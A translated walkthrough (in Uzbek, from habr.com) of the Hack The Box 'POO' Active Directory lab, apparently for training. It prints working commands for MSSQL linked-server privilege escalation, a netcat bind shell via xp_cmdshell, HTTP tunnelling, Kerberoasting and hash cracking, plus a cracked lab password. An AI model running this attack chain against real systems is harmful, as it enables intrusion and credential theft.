
Ushbu maqolada biz nafaqat mashinaning, balki butun bir mini-laboratoriyaning saytdan o'tishini tahlil qilamiz .
Tavsifda aytilganidek, POO kichik Active Directory muhitida hujumlarning barcha bosqichlarida ko'nikmalarni sinab ko'rish uchun mo'ljallangan. Maqsad mavjud xostni buzish, imtiyozlarni oshirish va oxir-oqibat jarayonda 5 ta bayroqni yig'ish orqali butun domenni buzishdir.
Laboratoriyaga ulanish VPN orqali amalga oshiriladi. Ishlayotgan kompyuterdan yoki siz uchun muhim ma'lumotlar mavjud bo'lgan xostdan ulanish tavsiya etilmaydi, chunki siz axborot xavfsizligi haqida biror narsa biladigan odamlar bilan shaxsiy tarmoqqa kirasiz 🙂
tashkiliy ma'lumotlar
Yangi maqolalar, dasturiy ta'minot va boshqa ma'lumotlar haqida bilib olishingiz uchun men yaratdim и IIKB hududida. Shuningdek, sizning shaxsiy so'rovlaringiz, savollaringiz, takliflaringiz va tavsiyalaringiz .
Barcha ma'lumotlar faqat ta'lim maqsadlarida taqdim etiladi. Ushbu hujjat muallifi ushbu hujjatni o'rganish natijasida olingan bilim va usullardan foydalanish natijasida hech kimga etkazilgan zarar uchun javobgarlikni o'z zimmasiga olmaydi.
Kirish
Ushbu endgame ikkita mashinadan iborat va 5 ta bayroqni o'z ichiga oladi.

Mavjud xostning tavsifi va manzili ham berilgan.

Keling, boshlang!
Recon bayrog'i
Ushbu mashinada 10.13.38.11 IP manzili bor, uni men /etc/hosts ga qo'shaman.
10.13.38.11 poo.htb
Birinchi qadam ochiq portlarni skanerlashdir. Barcha portlarni nmap bilan skanerlash uchun ko'p vaqt kerak bo'lgani uchun men buni birinchi navbatda masscan bilan qilaman. Biz tun0 interfeysidan barcha TCP va UDP portlarini 500pps tezlikda skanerlaymiz.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500 
Endi portlarda ishlaydigan xizmatlar haqida batafsil ma'lumot olish uchun keling, -A opsiyasi bilan skanerlashni amalga oshiramiz.
nmap -A poo.htb -p80,1433 
Shunday qilib, bizda IIS va MSSQL xizmatlari mavjud. Bunday holda, biz domen va kompyuterning haqiqiy DNS nomini bilib olamiz. Veb-serverda bizni IIS bosh sahifasi kutib oladi.

Keling, kataloglarni takrorlaymiz. Buning uchun gobusterdan foydalanaman. Parametrlarda biz oqimlar sonini belgilaymiz 128 (-t), URL (-u), lug'at (-w) va bizni qiziqtiradigan kengaytmalar (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html 
Shunday qilib, bizda /admin katalogi uchun HTTP autentifikatsiyasi, shuningdek, .DS_Store ish stoli xizmati saqlash fayli mavjud. .DS_Store - fayllar ro'yxati, piktogramma joylashuvi, tanlangan fon tasviri kabi papka uchun foydalanuvchi sozlamalarini saqlaydigan fayllar. Bunday fayl veb-ishlab chiquvchilarning veb-server katalogiga tushishi mumkin. Shunday qilib, biz katalogning mazmuni haqida ma'lumot olamiz. Buning uchun siz foydalanishingiz mumkin .
python3 dsstore_crawler.py -i http://poo.htb/ 
Biz katalogning mazmunini olamiz. Bu erda eng qiziq narsa /dev katalogi bo'lib, undan manbalar va db fayllarni ikkita filialda ko'rishimiz mumkin. Ammo agar xizmat IIS ShortName uchun zaif bo'lsa, biz fayl va katalog nomlarining dastlabki 6 ta belgisidan foydalanishimiz mumkin. Ushbu zaiflikdan foydalanib tekshirishingiz mumkin .

Va biz "poo_co" bilan boshlanadigan bitta matn faylini topamiz. Keyin nima qilishni bilmay, kataloglar lug‘atidan “co” bilan boshlanadigan barcha so‘zlarni tanlab oldim.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txtVa wfuzz bilan takrorlang.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404 
Va to'g'ri so'zni toping! Biz ushbu faylni ko'rib chiqamiz, hisob ma'lumotlarini saqlaymiz (DBNAME parametriga ko'ra, ular MSSQL-dan).

Biz bayroqni topshiramiz va biz 20% oldinga siljiymiz.

Xa bayroq
Biz MSSQL ga ulanamiz, men DBeaver dan foydalanaman.

Biz ushbu ma'lumotlar bazasida qiziq narsa topmadik, keling, SQL muharriri yaratamiz va foydalanuvchilarning nima ekanligini tekshiramiz.
SELECT name FROM master..syslogins; 
Bizda ikkita foydalanuvchi bor. Keling, imtiyozlarimizni tekshirib ko'raylik.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin'); 
Shunday qilib, hech qanday imtiyozlar yo'q. Keling, bog'langan serverlarni ko'rib chiqaylik, men ushbu texnika haqida batafsil yozganman .
SELECT * FROM master..sysservers; 
Shunday qilib, biz boshqa SQL Server topamiz. Openquery() yordamida ushbu serverda buyruqlar bajarilishini tekshiramiz.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version'); 
Va biz hatto so'rovlar daraxtini qurishimiz mumkin.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');Gap shundaki, biz bog'langan serverga so'rov yuborganimizda, so'rov boshqa foydalanuvchi kontekstida bajariladi! Keling, bog'langan serverda qanday foydalanuvchi kontekstida ishlayotganimizni ko'rib chiqaylik.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name'); 
Keling, bog'langan serverdan biznikiga so'rov qanday kontekstda bajarilishini ko'rib chiqaylik!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');'); 
Shunday qilib, bu barcha imtiyozlarga ega bo'lishi kerak bo'lgan DBO konteksti. Bog'langan serverdan so'rov bo'lsa, imtiyozlarni tekshirib ko'raylik.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')'); 
Ko'rib turganingizdek, bizda barcha imtiyozlar bor! Adminimizni shunday yaratamiz. Lekin ular ularga ochiq so'rov orqali ruxsat berishmaydi, keling, buni EXECUTE AT orqali qilaylik.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";Va endi biz yangi foydalanuvchining hisob ma'lumotlari bilan bog'lanamiz, yangi bayroq ma'lumotlar bazasini kuzatamiz.

Biz bu bayroqni topshiramiz va oldinga boramiz.

Orqaga qaytish bayrog'i
MSSQL yordamida qobiqni olamiz, men impacket paketidan mssqlclient dan foydalanmoqdaman.
mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC 
Biz parollarni olishimiz kerak va biz allaqachon uchrashgan birinchi narsa - bu sayt. Shunday qilib, bizga veb-server konfiguratsiyasi kerak (biz qulay qobiqni tashlay olmaymiz, aftidan, xavfsizlik devori ishlayapti).

Ammo kirish taqiqlangan. MSSQL-dan faylni o'qishimiz mumkin bo'lsa-da, biz faqat qanday dasturlash tillari sozlanganligini bilishimiz kerak. Va MSSQL katalogida biz Python borligini bilib olamiz.

Keyin web.config faylini o'qish uchun hech qanday muammo yo'q.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())" 
Hisob ma'lumotlari topilganda, /admin-ga o'ting va bayroqni oling.


tayanch bayrog'i
Aslida, xavfsizlik devoridan foydalanishda ba'zi noqulayliklar mavjud, ammo tarmoq sozlamalarini ko'rib chiqsak, IPv6 protokoli ham qo'llanilganini ko'ramiz!

Ushbu manzilni /etc/hosts ga qo'shing.
dead:babe::1001 poo6.htb
Xostni yana skanerlaymiz, lekin bu safar IPv6 orqali.

WinRM xizmati esa IPv6 orqali mavjud. Keling, topilgan hisob ma'lumotlari bilan bog'lanamiz.

Ish stolida bayroq bor, uni topshiring.

P00 bayrog'i
bilan uy egasi bo'yicha razvedka so'ng biz maxsus hech narsa topa olmaymiz. Keyin yana hisob ma'lumotlarini qidirishga qaror qilindi (men bu mavzuda ham yozganman ). Lekin WinRM orqali tizimdan barcha SPNlarni ololmadim.
setspn.exe -T intranet.poo -Q */* 
MSSQL orqali buyruqni bajaramiz.

Shunday qilib, biz p00_hr va p00_adm foydalanuvchilarining SPNlarini olamiz, ya'ni ular Kerberoasting kabi hujumga qarshi himoyasiz. Qisqasi, biz ularning parollarining xeshlarini olishimiz mumkin.
Avval siz MSSQL foydalanuvchisi nomidan barqaror qobiqni olishingiz kerak. Ammo kirish imkoniyati cheklanganligi sababli, biz xost bilan faqat 80 va 1433 portlari orqali bog'lanamiz. Ammo 80-port orqali trafikni tunnel qilish mumkin! Buning uchun biz foydalanamiz . Tunnel.aspx faylini veb-serverning uy katalogiga yuklaymiz - C: inetpubwwwroot.

Lekin biz unga kirishga harakat qilganimizda 404 xatoga duch kelamiz.Bu *.aspx fayllari bajarilmaganligini bildiradi. Ushbu kengaytmali fayllarni ishga tushirish uchun ASP.NET 4.5 ni quyidagi tarzda o'rnating.
dism /online /enable-feature /all /featurename:IIS-ASPNET45 
![]()
Va endi, tunnel.aspx ga kirishda, biz hamma narsa ishlashga tayyor degan javobni olamiz.
![]()
Keling, trafikni uzatadigan dasturning mijoz qismini boshlaylik. Biz barcha trafikni 5432 portdan serverga yo'naltiramiz.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx 
Va biz proksi-server orqali har qanday ilovaning trafigini yuborish uchun proksi zanjirlardan foydalanamiz. Keling, ushbu proksi-serverni /etc/proxychains.conf konfiguratsiya fayliga qo'shamiz.

Endi dasturni serverga yuklaymiz , uning yordamida biz barqaror bog'lash qobig'ini va skriptni qilamiz , u bilan biz Kerberoasting hujumini amalga oshiramiz.

Endi MSSQL orqali biz tinglovchini ishga tushiramiz.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321 
Va biz proksi-server orqali ulanamiz.
proxychains rlwrap nc poo.htb 4321 
Keling, hashlarni olamiz.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt 
Keyinchalik, ushbu xeshlarni takrorlashingiz kerak. Roksizda parol ma'lumotlari lug'ati bo'lmagani uchun men Seclists-da taqdim etilgan HAMMA parollar lug'atlaridan foydalanganman. Ro'yxatga olish uchun biz hashcat dan foydalanamiz.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --forceVa biz ikkala parolni ham topamiz, birinchisi dutch_passwordlist.txt lug'atida, ikkinchisi esa Keyboard-Combinations.txt da.


Shunday qilib, bizda uchta foydalanuvchi bor, biz domen boshqaruvchisiga o'tamiz. Keling, avval uning manzilini bilib olaylik.

Ajoyib, biz domen boshqaruvchisining IP manzilini bilib oldik. Keling, domenning barcha foydalanuvchilarini, shuningdek, ulardan qaysi biri administrator ekanligini bilib olaylik. PowerView.ps1 ma'lumotlarini olish uchun skriptni yuklab olish uchun. Keyin biz -s parametridagi skript bilan katalogni ko'rsatib, evil-winrm yordamida ulanamiz. Va keyin faqat PowerView skriptini yuklang.

Endi biz uning barcha funksiyalaridan foydalanish imkoniyatiga egamiz. p00_adm foydalanuvchisi imtiyozli foydalanuvchiga o'xshaydi, shuning uchun biz uning kontekstida ishlaymiz. Keling, ushbu foydalanuvchi uchun PSCredential obyektini yarataylik.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$CpassEndi biz Creds ko'rsatgan barcha Powershell buyruqlari p00_adm nomidan bajariladi. Keling, foydalanuvchilar ro'yxatini va AdminCount atributini ko'rsatamiz.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount 
Shunday qilib, bizning foydalanuvchimiz haqiqatan ham imtiyozga ega. Keling, u qaysi guruhlarga tegishli ekanligini ko'rib chiqaylik.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds 
Biz nihoyat foydalanuvchining domen administratori ekanligini tasdiqlaymiz. Bu unga domen boshqaruvchisiga masofadan kirish huquqini beradi. Keling, tunnelimiz yordamida WinRM bilan tizimga kirishga harakat qilaylik. Evil-winrm-dan foydalanganda reGeorg tomonidan chiqarilgan xatolar meni chalkashtirib yubordi.

Keyin biz boshqa, osonroq foydalanamiz, WinRM ga ulanish uchun. Ulanish parametrlarini oching va o'zgartiring.

Biz ulanishga harakat qilamiz va biz tizimdamiz.

Lekin bayroq yo'q. Keyin foydalanuvchiga qarang va ish stollarini tekshiring.

mr3ks da biz bayroqni topamiz va laboratoriya 100% bajarilgan.

Ana xolos. Fikr-mulohaza sifatida ushbu maqoladan yangi narsalarni o'rgandingizmi va u siz uchun foydalimi yoki yo'qligini sharhlang.
Bizga qo'shilishingiz mumkin . U erda siz qiziqarli materiallarni, birlashtirilgan kurslarni, shuningdek, dasturiy ta'minotni topishingiz mumkin. Keling, ITning ko'plab sohalarini tushunadigan odamlar bo'ladigan hamjamiyatni to'playmiz, shunda biz har qanday IT va axborot xavfsizligi masalalarida har doim bir-birimizga yordam bera olamiz.
Manba: www.habr.com
